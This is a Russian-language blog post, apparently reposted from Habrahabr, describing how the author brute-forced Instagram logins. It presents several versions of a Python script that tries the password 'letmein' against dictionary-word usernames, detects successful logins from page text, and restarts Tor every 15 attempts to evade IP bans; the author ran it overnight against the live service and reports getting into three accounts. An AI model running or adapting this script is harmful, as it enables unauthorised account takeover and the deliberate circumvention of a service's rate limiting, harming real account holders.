Как я немного Instagram увёл

от автора

Всё началось после того, как я прочитал статью о самых популярных паролях 2013 года. Как, думаю, и многим, мне моментально захотелось проверить, действительно ли эти пароли так уж и популярны. После недолгих раздумий выбор пал на социальную сеть/сервис обмена фотографиями — Instagram.

Первые шаги

Первое, что я сделал — проверил, как именно реагирует веб-версия этого чуда на вход с правильным и неправильным паролем. Всё оказалось стандартным, я даже немного обрадовался. При неправильном пароле с сервера приходит ответ с кодом 200, при верном же — приходит код 302 и редиректит на главную страницу. Этого достаточно, приступаю к написанию скрипта на python, который будет подставлять логин и пароль в форму, а затем узнавать, подошло или нет.

Он выглядел вот так:

import urllib  login_data=urllib.urlensource({'username':'username','password':'password','submit':'Login'})  response = urllib.urlopen('https://instagram.com/accounts/login/',login_data)  f = open('dex.html','w') f.write(response.read()) f.close()  print 'ok' 

Первый же тест выдал ошибку «Включите куки» («This page could not be loaded. If you have cookies disabled in your browser, or you are browsing in Private Mode, please try enabling cookies or turning off Private Mode, and then retrying your action.») Времени у меня было не так много, поэтому я выбрал быстрое решение этой проблемы, которое обычно использую для тестов своих творений, а именно mechanize. Точнее даже mechanize.Browser().

Вторая версия выглядела уже вот так:

import mechanize  name = 'username' password = 'password'  br = mechanize.Browser() br.open('https://instagram.com/accounts/login/') br.select_form(nr = 0) br.form['username'] = name br.form['password'] = password br.submit()  f = open('dex.html','w') f.write(br.response().read()) f.close()  print 'ok' 

Временный успех

И, о чудо! При верной и не верной паре логин/пароль всё отрабатывалось, как нужно. Но код ответа сервера в обоих ситуациях приходил 200. Это не страшно, ведь в ответе мы видим и саму страничку, которая пришла. Просто смотрим какую-либо фразу в странице, говорящую о том, что пароль не подошёл. Если такой нет, то у нас всё отлично, мы нашли пользователя со слабым паролем.

У меня это выглядело вот так:

if br.response().read().find('correct username') == -1:     print 'YEP'     log_list = open('log_list.txt','ab+')     log_list.write(name + ' ' + password + '\n')     log_list.close() else:     print 'NOPE' 

Пока всё шло гладко. Sitemap я так и не нашёл, поэтому в качестве базы логинов я подключил стандартный для ubuntu словарь слов английского языка (/usr/share/dict/american-englich), из которого брал все слова, в которых не присутствует апостроф, а база паролей сводилась, по условиям эксперимента, к базе из выше упомянутой статьи. Но из всей базы ручным перебором был выявлен всего один подходящий для сервиса пароль(не разрешает инстаграм использовать слишком уж простые пароли). Стало уже не так интересно, но останавливаться не хотелось. По пути сделал проверку, а существует ли вообще пользователь с таким логином, чтобы впустую не бегать + учитывать в статистике только существующих пользователей. Это же эксперимент!

Всё вместе это уже выглядело вот так:

import mechanize  def checkUrl(url):     p = urlparse(url)     conn = httplib.HTTPConnection(p.netloc)     conn.request('HEAD', p.path)     resp = conn.getresponse()     return resp.status < 400  names = open('american-english','r').read().split('\n') password = 'letmein' number = 0  for name in names:     if name.find("'") == -1:         number += 1         url = 'https://instagram.com/'+name         if checkUrl(url):             print 'not exist'         else:             print str(number) + ' ' + name              br = mechanize.Browser()             br.open('https://instagram.com/accounts/login/')             br.select_form(nr = 0)             br.form['username'] = name             br.form['password'] = password             br.submit()             s = br.response().read().find('correct username')             if s == -1:                 print 'YEP'                 log_list = open('log_list.txt','ab+')                 log_list.write(name + ' ' + password + '\n')                 log_list.close()             else:                 print 'NOPE' 

Не самая надёжная защита от брутфорса

Спустя 20 итераций инстаграм начал меня выплёвывать с ошибкой 403 Forbidden(доступ запрещён). Их сервер догадался, что я делаю что-то плохое. Я пытался играть с разными куками и подменами браузера. Нет не пускал, значит банят по ip. Нужно использовать прокси. Самым быстрым решением для анонимного входа я нашёл tor. Методом научного тыка было определено, что смена ip требуется примерно после каждых 15 обращений. Машина заработала!

Финальный скрипт:

import os, socks, socket, mechanize, cookielib, httplib from urlparse import urlparse  def checkUrl(url):     p = urlparse(url)     conn = httplib.HTTPConnection(p.netloc)     conn.request('HEAD', p.path)     resp = conn.getresponse()     return resp.status < 400  def create_connection(address, timeout=None, source_address=None):     sock = socks.socksocket()     sock.connect(address)     return sock  socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) socket.socket = socks.socksocket socket.create_connection = create_connection  names = open('american-english','r').read().split('\n') password = 'letmein' number = 0  for name in names:     if name.find("'") == -1: 	    if number%15 == 0: 	        os.system('service tor restart') 	    number += 1 	    url = 'https://instagram.com/'+name 	    if checkUrl(url): 	        print 'not exist' 	    else: 	        try: 	            print str(number) + ' ' + name  	            br = mechanize.Browser() 	            br.set_handle_equiv(True) 	            br.set_handle_redirect(True) 	            br.set_handle_robots(False) 	            br.open('https://instagram.com/accounts/login/') 	            br.select_form(nr = 0) 	            br.form['username'] = name 	            br.form['password'] = password 	            br.submit() 	            if br.response().read().find('correct username') == -1: 	                print 'YEP' 	                log_list = open('log_list.txt','ab+') 	                log_list.write(name + ' ' + password + '\n') 	                log_list.close() 	            else: 	                print 'NOPE' 	        except: 	            print 'something wrong' 	            pass 

Оставил его трудиться на ночь.

О результатах.

Утром проснулся как в Новый Год в ожидании, какой же подарок мне оставил мой трудолюбивый эльф. Итого было проверено 9103 имени(далеко не все из списка, я остановил скрипт), из них трое использовали уязвимый пароль. Это примерно 0.03% опрошеных — не так и мало. Я был бы рад, если бы нашёлся хотя бы один. Связался с владельцами аккаунтов с просьбой изменить свой пароль. Теперь в мире на 3 человека меньше используют слабенькие пароли, защищая свои любимые фоточки.

Всем спасибо за внимание.

ссылка на оригинал статьи http://habrahabr.ru/post/215829/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *